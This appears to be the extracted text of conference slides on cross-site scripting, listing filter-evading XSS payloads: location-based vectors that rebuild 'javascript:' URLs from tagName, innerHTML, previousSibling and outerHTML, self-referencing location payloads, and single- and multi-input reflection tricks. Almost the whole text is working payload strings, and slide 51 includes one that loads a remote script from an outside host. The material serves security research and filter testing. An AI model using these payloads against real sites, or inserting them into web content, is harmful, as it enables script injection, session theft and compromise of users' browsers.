  • 48. Location Based Payloads - Location ● Location Itself + Before (tagName+previousSibling) "-alert(9)<javascript:" onclick=location=tagName+previousSibling. nodeValue>click me! ● Location Itself + After + Before (tagName+innerHTML+previousSibling) '-alert(9)<javas onclick=location=tagName+innerHTML+previousSibling. nodeValue>cript:'click me!
  • 49. Location Based Payloads - Location ● Location After + Itself (innerHTML+outerHTML) <alert(1)<!-- onclick=location=innerHTML+outerHTML>javascript:1/*click me! */</alert(1)<!-- --> javascript:1/*click me!*/ + <alert(1)<!-- … </alert(1)<!-- --> <j 1="*/""-alert(1)<!-- onclick=location=innerHTML+outerHTML>javascript: /*click me! javascript:/*click me! + <j 1="*/""-alert(1)<!-- …
  • 50. Location Based Payloads - Location ● Location After + Before + Itself (innerHTML+previousSibling+outerHTML) */"<j"-alert(9)<!-- onclick=location=innerHTML+previousSibling. nodeValue+outerHTML>javascript:/*click me! javascript:/*click me! + */" + <j"-alert(9)<!-- ... */"<j 1=-alert(9)// onclick=location=innerHTML+previousSibling. nodeValue+outerHTML>javascript:/*click me! javascript:/*click me! + */" + <j 1="-alert(9)//" ...
  • 51. Location Based Payloads - Location Self ● Location Self Inside p=<svg id=?p=<svg/onload=alert(1)%2B onload=location=id> http://...?p=<svg/onload=alert(1)+ p=<svg id=?p=<script/src=//brutelogic.com.br/1%2B onload=location=id> http://...?p=<script/src=//brutelogic.com.br/1+
  • 52. Location Based Payloads - Location Self ● Location Self After p=<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)> http://...?p=<svg/onload=alert(1)>
  • 53. Location Based Payloads - Location Self Plus ● Location Self Plus Itself p=<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me! http://...?p=%3Cj%26p=%3Csvg%2Bonload=alert(1)%20onclick=location% 2B=outerHTML%3Eclick%20me!<j&p=<svg+onload=alert(1) onclick=" location+=outerHTML">
  • 54. Location Based Payloads - Location Self Plus ● Location Self Plus After p=<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)> http://...?p=%3Cj%20onclick=location%2B=textContent%3E%26p=%26lt; svg/onload=alert(1)%3E&p=<svg/onload=alert(1)>
  • 55. Location Based Payloads - Location Self Plus ● Location Self Plus Before p=%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body. textContent>click me! http://...?p=%26p=%26lt;svg/onload=alert(1)%3E%3Cj%20onclick=location% 2B=document.body.textContent%3Eclick%20me![BODY_CONTENT] &p=<svg/onload=alert(1)>click me!
  • 57. Multi Reflection - Single Input ● Double Reflection - Single Input p='onload=alert(1)><svg/1=' 'onload=alert(1)><svg/1=' … [code] … 'onload=alert(1)><svg/1=' ● Double Reflection - Single Input (script) p=’>alert(1)</script><script/1=’ p=*/alert(1)</script><script>/* */alert(1)</script><script>/* … [code] … */alert(1)</script><script>/*
  • 58. Multi Reflection - Single Input ● Triple Reflection - Single Input p=*/alert(1)">'onload="/*<svg/1=' p=`-alert(1)">'onload="`<svg/1=' `-alert(1)">'onload="`<svg/1=' … [code] … `-alert(1)">'onload="`<svg/1=' … [code] … `-alert(1)">'onload="`<svg/1=' ● Triple Reflection - Single Input (script) p=*/</script>'>alert(1)/*<script/1=' */</script>'>alert(1)/*<script/1=' … [code] … */</script>'>alert(1)/*<script/1=' … [code] … */</script>'>alert(1)/*<script/1='
  • 59. Multi Reflection - Multi Input ● 2 inputs: p=<svg/1='&q='onload=alert(1)> ● 3 inputs: p=<svg 1='&q=onload='/*&r=*/alert(1)'>
  • 60. Conclusion ● XSS vectors can: - be complex; - easily evade filters; - blow your mind.